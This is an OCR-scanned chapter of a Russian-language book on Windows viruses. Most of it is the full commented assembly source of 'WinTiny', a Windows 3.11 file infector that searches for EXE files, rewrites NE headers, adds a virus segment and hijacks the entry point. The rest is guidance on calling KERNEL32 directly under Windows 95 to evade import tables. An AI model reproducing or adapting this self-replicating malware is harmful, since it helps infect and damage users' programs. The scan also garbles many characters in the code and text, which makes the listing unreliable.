ВИРУСЫ ПОД WINDOWS
В этой главе рассказано о вирусах, заражающих фай- лы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95, Представлены исходные тексты вирусов с подробными комментариями, Также приведены основные сведения о запускаемых фай- лах программ под Windows, их структуре, отличиях от файлов DOS,
Вирусы под Windows 3.11
В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про- грамм. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами - и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголов- ка. Первый заголовок (старый) - распознается DOS как программа, вы- водящая на экран "This program requires Microsoft Windows". Второй заголовок (NewEXE) - для работы в Windows (см. приложение).
Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для DOS и программы (STUB), которая выводит сообщение "This program requires Microsoft Windows".
Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE.
Заголовок NewEXE начинается с символов "NE". Далее идет собствен- но заголовок, в котором содержатся различные данные, в том числе ад- реса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней - все остальные таблицы, далее размещены собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
4. CS:IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21h из-под Windows) необходимо использовать функции DPMI (INT 31h). Дей- ствия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай- ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.
.286
.MODEL TINY .CODE
;Сохраним регистры и флаги pushf pusha push ds push es
.Проверим, доступен ли DPMI. Если доступен, Продолжаем, если нет - выходим
mov ax,1686h
int 2Fh
or ax, ax
jz dpmi_exist
;Восстановим регистры и флаги exit:
pop es
pop ds
popa
popf
.Запустим программу-носитель
db OEAh reloclP dw 0 relocCS dw OFFFFh dpmi_exist:
;Выделим линейный блок памяти, используя DPMI mov ax,0501h mov cx,OFFFFh xor bx.bx int 31 h
;Сохраним индекс и 32-битный линейный адрес .полученного блока памяти в стеке
push si ~^
push di
push bx
push ex
;Создадим дескриптор в таблице LDT хог ах,ах mov ex, 1 int 31 h
;B поле адреса полученного дескриптора .установим адрес нужного блока памяти
mov bx,ax
mov ах,7
pop dx
pop ex
int •31h
;B поле предела полученного дескриптора остановим размер выделенного блока памяти
mov ах,8
mov dx,OFFFFh
хог сх.сх
int 31h
;В поле прав доступа полученного дескриптора установим значение, соответствующее сегменту данных, доступному для чтения и записи
mov ах,9
mov cl, 1111001 Ob
хог ch,ch
;3агрузим селектор в регистр DS. После этого регистр DS будет оказывать на выделенный блок памяти mov ds.bx
.Читаем из стека и сохраняем в памяти ;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
Получим текущую DTA mov ah,2Fh int 21 h mov [DTA],bx mov [DTA+2],es
;Найдем первый ЕХЕ-файл (маска *.ЕХЕ) mov ah,4Eh xor ex,ex
mov dx,OFFSET wild_exe push ds push cs pop ds int 21 h pop ds
;Если файл найден, перейдем к заражению, иначе освободим ;выделенную область памяти и запустим программу-носитель jnc found_exe
;0свободим выделенную область памяти call free
.Запустим программу-носитель jmp exit
.Перейдем к следующему файлу - этот не подходит close_exe:
; Закроем файл mov ah,3Eh int 21h
;Найдем следующий файл mov ah,4Fh int 21h
;Если файл найден, перейдем к заражению, иначе освободим -.выделенную область памяти и запустим программу-носитель jnc found_exe
;3апустим программу-носитель jmp exit
;Файл найден, проверим его на пригодность к заражению found ехе:
;0ткроем файл для чтения и записи push ds
Ids dx, DWORD PTR [DTA] add dx.lEh mov ax,3D02h int 21 h pop ds
.Прочтем старый заголовок mov dx.OFFSET old_hdr mov bx.ax mov cx,40h mov ah,3Fh int 21h
;Проверим сигнатуру, это ЕХЕ-файл? cmp WORD PTR [old_hdr],"ZM" jne close_exe
[Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный ЕХЕ-файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому^что это может оказаться
;РЕ-, LE-, LX-executable или другой
;(PE-executable описан в разделе,
[посвященном Windows 95, остальные
;типы ЕХЕ-файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
.Перейдем ко второму заголовку (может быть, это NewEXE?):
Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx.WORD PTR [old_hdr+3Ch]
mov cx.WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
; Прочитаем второй заголовок mov dx.OFFSET newJ-idr mov ex,40h mov ah,3fh int 21h
[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл cmp WORD PTR [new_hdr],"EN" jne close_exe
[Проверим, для Windows ли предназначен этот файл. Если да, будем ;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
.Переместим указатель чтения/записи в таблицу сегментов, ;к элементу, обозначающему сегмент точки старта программы. [Для этого прочтем значение регистра CS при запуске [этого ЕХЕ-файла
mov dx.WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему [элемента в таблице сегментов
dec dx
shi dx,3
;K результату прибавим смещение таблицы сегментов и смещение .заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx.WORO PTR [old_hdr+3ch]
mov cx.WORD PTR [old_hdr+3eh]
[Переместим указатель чтения/записи mov ax,4200h int 21 h
[Прочтем из таблицы сегментов смещение логического сектора mov dx,OFFSET temp mov ex, 2 mov ah,3Fh int 21 h
.Вычислим смещение сегмента, опираясь на значения .смещения логического сектора и множителя секторов
mov dx.WORD PTR [temp]
mov cx.WORD PTR [new_hdr+32h]
xor ax.ax
cal_entry:
shi dx,1
rcl ax,1
loop cal_entry
.Переместим 16 старших бит 32-битного результата в регистр СХ mov cx,ax
;Прибавим к результату смещение стартового адреса (IP) add dx,WORD PTR [new_hdr+14h] adc cx.O
;Переместим указатель позиции чтения/записи на точку старта .программы - результат вычисления
int 21 h
;Считаем первые 10 байт после старта программы mov dx, OFFSET temp mov cx,10h mov ah,3Fh int 21 h
Проверим, заражен ли файл. Если считанные 10 байт в точности ;совпадают с первыми 10-ю байтами нашего вируса, файл заражен. ;В этом случае переходим к поиску следующего, иначе - заражаем
mov si.OFFSET temp
push cs
xor di.di
mov ex, 8
eld
rep cmpsw
jne ok_to_infect
jmp close_exe
Приступим к заражению ok_to_infect:
Переместим NE-заголовок на 8 байт ближе к началу файла. ; Исправим соответствующие поля старого заголовка sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8 sbb WORD PTR [old_hdr+3eh],0
; Исправим значения таблиц в новом заголовке, чтобы переместились ;только заголовок и таблица сегментов (без остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним оригинальные значения точек входа CS и IP push WORD PTR [new_hdr+14h] pop [hostJp]
pushTWORD PTR [new_hdr+16h] pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим ;точку входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
.Переместим указатель чтения/записи в начало файла ;(к старому заголовку)
xor dx.dx
;3апишем старый заголовок, так как модифицированы ;некоторые поля его копии в памяти
mov dx.OFFSET old_hdr
mov cx,40h
mov ah,40h
;Переместим указатель чтения/записи на начало нового заголовка (его переместили на 8 байт к началу файла)
mov dx.WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h int 21 h
;3апишем новый заголовок, так как в его копии ;в памяти некоторые поля модифицированы
mov dx, OFFSET new_hdr
.Переместим указатель чтения/записи на 8 байт ;вперед - к началу таблицы сегментов
mov dx,8
mov ax,4201 h
рассчитаем размер таблицы сегментов и считаем ее в память mov dx,OFFSET temp mov cx.WORD PTR [new_hdr+1ch] dec ex shi cx.3 push ex mov ah,3Fh int 21h
Переместим указатель чтения/записи назад, к позиции ;за 8 байт перед началом таблицы сегментов
push dx
add dx,8
neg dx
mov cx,-1
mov ax,4201h
;3апишем таблицу сегментов в файл, но не на ее прежнее место, ;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
.Прочтем текущую позицию чтения/записи (конец таблицы сегментов) xor сх,сх xor dx.dx mov^ ax,4201h int 21 h
;Сохраним в стеке текущую позицию чтения/записи push dx push ax
.Получим длину файла, переместив указатель ^тения/записи в конец файла
xor сх.сх
xor dx,dx
mov ax,4202h
;Сохраним в стеке длину файла push dx push ax
;Вычислим и сохраним длину логического сектора mov cx.WORD PTR [new_hdr+32h] mov ax,1 shi ax.cl mov [log_sec_len],ax
;Вычислим длину файла в логических секторах mov сх.ах pop ax pop dx div ex
-.Учтем неполный сектор. Если в результате получился ;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax no_rmd:
;3аполним поля нового элемента в таблице сегментов mov [my_seg_entry],ax
3-1436
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов pop dx pop ex
Переместим указатель чтения/записи к этой позиции mov ax,4200h int 21 h
.Запишем в конец таблицы новый элемент mov dx,OFFSET my_seg_entry mov ex,8 mov ah,40h int 21 h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой-то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
xor si,si
mov di,OFFSET temp
mov ex,OFFSET vir_end
rep movsb
push es
Инициализируем адрес точки входа mov si,OFFSET temp mov WORD PTR [si+reloc!P],0 mov WORD PTR [si+relocCS],OFFFFh
Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul ex
mov cx.dx
mov dx.ax
;3апишем тело вируса в файл
mov dx, OFFSET temp
.Инициализируем поля перемещаемого элемента mov WORD PTR [reloc_data],1 mov BYTE PTR [reloc_data+2],3 mov BYTE PTR [reloc_data+3],4 mov WORD PTR [reloc_data+4],OFFSET reloclP
;3апишем перемещаемый элемент mov dx,OFFSET reloc_data mov ex, 10 mov ah,40h int 21h
[Закроем файл mov ah,3Eh int 21h
.Освободим выделенный блок памяти call free
.Процедура, освобождающая выделенный блок памяти free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
з*
int 31 h ret free ENDP
; Маска для поиска файлов wild_exe DB "•ЕХЕ-.О
;Имя вируса
DB "WinTiny"
;Идентификатор, указывающий на конец инициализированных данных vir_end:
.Индекс выделенного блока памяти mem_hnd DW ? DW ?
;Адрес текущей DTA DTA DW ? DW ?
;Место для хранения старого заголовка olcLhdr DB 40h dup (?)
.Место для хранения нового заголовка new_hdr DB 40h dup (?)
;Длина логического номера сектора log_sec_len DW ?
; Новый элемент в таблице сегментов my_seg_entry DW ?
DW ?
.Перемещаемый элемент reloc_dataDW ?
DB ?
DW?
;3начение оригинальной точки входа host_cs DW ? hostJp DW ?
;0бласть памяти для использования temp DB ? END
Вирусы под Windows 95
Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возмож- но, он станет доминирующим форматом ЕХЕ. Этот формат значитель- но отличается от NE-executable, используемого в Windows 3.11.
вызов Windows 95 API
Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту табли- цу. В Windows 95, благодаря предусмотрительности фирмы-производите- ля Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти не- посредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время та- кой возможности не имея? Ответ: вызывать API, расположение которо- го в памяти известно - это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call APLFUNCTIONJMAME например:
call CreateFileA После компиляции этот вызов выглядит так:
db 9Ah .инструкция call dd 7777 ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:
push function value call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан- дартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически - именно так и предполагалось. Но конкретное место его расположения в разных вер- сиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компен- сации этих различий добавлена проверка двух различных мест на нали- чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра- щает управление программе-носителю.
Адреса и номера функций
Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для August Release - по адресу OBFF93ClDh. Можно найти другие значе- ния функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL